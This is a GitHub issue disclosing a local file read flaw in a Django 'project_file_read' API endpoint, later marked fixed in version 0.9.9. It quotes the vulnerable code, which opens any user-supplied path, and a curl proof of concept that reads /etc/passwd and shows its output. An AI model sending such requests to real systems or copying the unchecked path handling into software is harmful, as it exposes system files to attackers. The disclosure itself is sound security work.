Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

An authenticated user can read local file #210

Closed
ksg97031 opened this issue Sep 25, 2021 · 1 comment
Closed

An authenticated user can read local file #210

ksg97031 opened this issue Sep 25, 2021 · 1 comment
Assignees
Labels

Comments

@ksg97031
Copy link

ksg97031 commented Sep 25, 2021

Describe the bug
The below code is vulnerable to file exposure

@api_view(['POST'])
@permission_classes([IsAuthenticated])
def project_file_read(request):
"""
get content of project file
:param request: request object
:return: file content
"""
if request.method == 'POST':
data = json.loads(request.body)
path = join(data['path'], data['label'])
# binary file
with open(path, 'rb') as f:
return HttpResponse(f.read().decode('utf-8'))

To Reproduce

$ curl 'http://127.0.0.1:8000/api/project/file/read' \
  -H 'Accept: application/json, text/plain, */*' \
  -H 'Content-Type: application/json;charset=UTF-8' \
  -H 'Authorization: Token $token' \
  --data-raw '{"path":"/etc/", "label":"passwd"}'

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
@ksg97031 ksg97031 added the bug label Sep 25, 2021
@ksg97031 ksg97031 changed the title An authenticated user can read local files by the 'project_file_read' method An authenticated user can read local file by the 'project_file_read' method Sep 25, 2021
@ksg97031 ksg97031 changed the title An authenticated user can read local file by the 'project_file_read' method An authenticated user can read local file Sep 25, 2021
@Germey
Copy link
Member

Germey commented Dec 26, 2021

Fixed in 0.9.9

@Germey Germey closed this as completed Dec 26, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

2 participants